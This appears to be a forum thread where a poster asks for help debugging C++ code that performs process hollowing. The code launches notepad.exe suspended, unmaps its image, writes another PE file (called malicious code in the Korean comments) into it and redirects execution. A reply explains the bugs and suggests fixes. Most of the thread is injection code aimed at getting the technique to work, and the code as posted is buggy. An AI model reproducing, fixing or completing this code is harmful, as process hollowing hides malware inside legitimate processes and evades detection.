Reputation: 1
The target is notepad.exe
The code to insert is a PE file called Hello.
PE FILE:
Error:
error occurred --> if (IDH->e_magic== IMAGE_DOS_SIGNATURE
error content is "Exception through: read access violation. IDH was 0xC4."
The following is the whole code.
#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <tchar.h>
#include <string.h>
#include <stdlib.h>
#include <string>
#include <tchar.h>
#include <locale.h>
#define FILE_PATH ("C:/Windows/System32/notepad.exe")
#define PE_FILE_PATH ("C:/Users/code1/Desktop/Hello.exe")
typedef LONG(WINAPI* NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
void ProcHollowing(LPSTR szFilePath, PVOID ); //pFile);
PVOID pFile();
int main(){
ProcHollowing((LPSTR)(FILE_PATH), pFile());
return 0;
}
PVOID pFile() { //PE파일의 DATA 추출 부분 (.text 추출)
HANDLE hFile = CreateFile((LPCWSTR)PE_FILE_PATH, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_FLAG_OVERLAPPED, 0);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Fail: Hello.exe 파일이 없습니다.");
}
return hFile;
}
void ProcHollowing(LPSTR szFilePath /*TargetProc*/, PVOID pFile/*PE Data*/) {
PIMAGE_DOS_HEADER IDH;/*PE 구조의 첫 시작부분 DOS 헤더*/
PIMAGE_NT_HEADERS INH;/*PE헤더*/
PIMAGE_SECTION_HEADER ISH; //섹션 헤더
PROCESS_INFORMATION PI; //프로세스 정보
STARTUPINFOA SI; //생성시 프로세스에 대한 윈도우 스테이션, 데스크탑, 표준 핸들 및 주 창의 모양을 지정하는 구조체.
PCONTEXT CTX;
PDWORD dwImageBase; //생성된 프로세스의 Image Base 주소
NtUnmapViewOfSection NewNtUnmapViewOfSection;
LPVOID pImageBase;
int Count;
IDH = PIMAGE_DOS_HEADER(pFile);
if (IDH->e_magic== IMAGE_DOS_SIGNATURE/*PE 파일이 맞는지 시그니처를 통해 확인한다.*/) { //IMAGE_DOS_SIGNATURE는 4D5A 즉 MZ
_tprintf(TEXT("SUCCESS: This is PE File\n"));
INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew); // Dos header의 끝부분 + 시작 부분으로 PE Header를 구하는 것.
if (INH->Signature == IMAGE_NT_SIGNATURE/*시그니처 확인하여 PE포멧 파일인지 구분*/) {
_tprintf(TEXT("SUCCESS: PE FILE Check\n"));
RtlZeroMemory(&SI, sizeof(SI)); // SI의 크기만큼 0으로 채워준다는 의미. 즉, 초기화
RtlZeroMemory(&PI, sizeof(PI));
bool bResult = CreateProcessA(szFilePath/*실행할 모듈의 이름 notepad.exe*/, NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI); // 정상 프로세스를 생성. SUSPENDED 상태.
if (bResult) {//프로세스가 잘 생성되면
_tprintf(TEXT("SUCCESS: CreateProcessA\n"));
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); //CTX 가상 메모리 할당.
CTX->ContextFlags = CONTEXT_FULL; //Context 구조에서 초기화해야하는 부분을 나타내는 값.
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))/*프로세스 정보 획득*/) {
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL); /*Image Base 주소 구하기*/
//ebx에는 PEB 주소가 들어가 있고 PEB+8에는 Image Base 주소가 들어가있다.
//PEB(Process Environment Block)에는 해당 프로세스에 대한 정보가 들어가있음.
_tprintf(TEXT("SUCCESS: Get Image Base Address\n"));
if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase) { //Image Base와 PE Header의 OPTIONAL HEADER의 Image Base가 같으면
NewNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtUnmapViewOfSection")); //메모리 할당해지 핸들이랑 주소
_tprintf(TEXT("SUCCESS: Unmap\n"));
NewNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase)); //정상 프로세스의 메모리 할당 해지
}
else {
_tprintf(TEXT("FAIL: Unmap\n"));
}
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), //재할당
INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
/*악성코드 데이터 삽입 부분 같은데 여기부분 이해 잘 안됨.*/
if (pImageBase) { //재할당 완료 되면
_tprintf(TEXT("SUCCESS: Reassignment\n"));
WriteProcessMemory(PI.hProcess, pImageBase, pFile,/*pFile, 즉 데이터를 넣어주는 부분같음.*/
INH->OptionalHeader.SizeOfHeaders, NULL);//악성코드 삽입(?) 헤더를 바꿔주는 거같음.
for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++) {
ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
WriteProcessMemory(PI.hProcess,
LPVOID(DWORD(pImageBase) + ISH->VirtualAddress),
LPVOID(DWORD(pFile) + ISH->PointerToRawData),
ISH->SizeOfRawData, NULL);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),// 메모리 쓰기. Image Base
LPVOID(&INH->OptionalHeader.ImageBase),
4, NULL);
CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint; //AddressOfEntryPoint는 PE파일이 메모리에
//로드된 후 맨 처음 실행되어야 하는 코드의 주소가 포함되어 있음.
//Eax는 Original Entry Point(OEP)가 들어가 있음. 즉, 실행 프로그램의 실제 시작 위치
SetThreadContext(PI.hThread, LPCONTEXT(CTX)); //프로세스 정보 변경
ResumeThread(PI.hThread); //프로세스 재실행
}
else {
_tprintf(TEXT("FAIL: Reassignment\n"));
}
}
else {
_tprintf(TEXT("FAIL: Get Image Base Address\n"));
}
}
else {
_tprintf(TEXT("FAIL: CreateProcessA\n"));
}
}
else {
_tprintf(TEXT("FAIL: PE FILE Check\n"));
}
VirtualFree(pFile, 0, MEM_RELEASE);
}
else { //PE파일이 아니면
_tprintf(TEXT("FAIL: This is not PE File\n"));
}
}
Upvotes: 0
Views: 569
Reputation: 11
There are too many things to fix for excution
I will not upload the modified code because there are some parts that were not implemented..
First,
PVOID pFile(){ // hFile is a HANDLE but ret type is PVOID... hmmm
...
//HANDLE hFile = CreateFile((LPCWSTR)PE_FILE_PATH, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_FLAG_OVERLAPPED, 0); // <-- GENREIC_WRITE? and CREATE_ALWAYS?
HANDLE hFile = CreateFile($file_name, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
...
You should read MSDN Docs CreateFile You create a file handle, but there is no reading method (like API ReadFile) ^ This is the cause of the error.
...
if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase) {
NewNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtUnmapViewOfSection"));
NewNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
...
...
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),
LPVOID(&INH->OptionalHeader.ImageBase),
4, NULL);
...
STUDY ASRL!
...
CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
...
You ResumeThread before write the Dos Header, Dos Stub, PE Header in child process Memory
you have to fix entire codeㅠㅠ :(
Upvotes: 1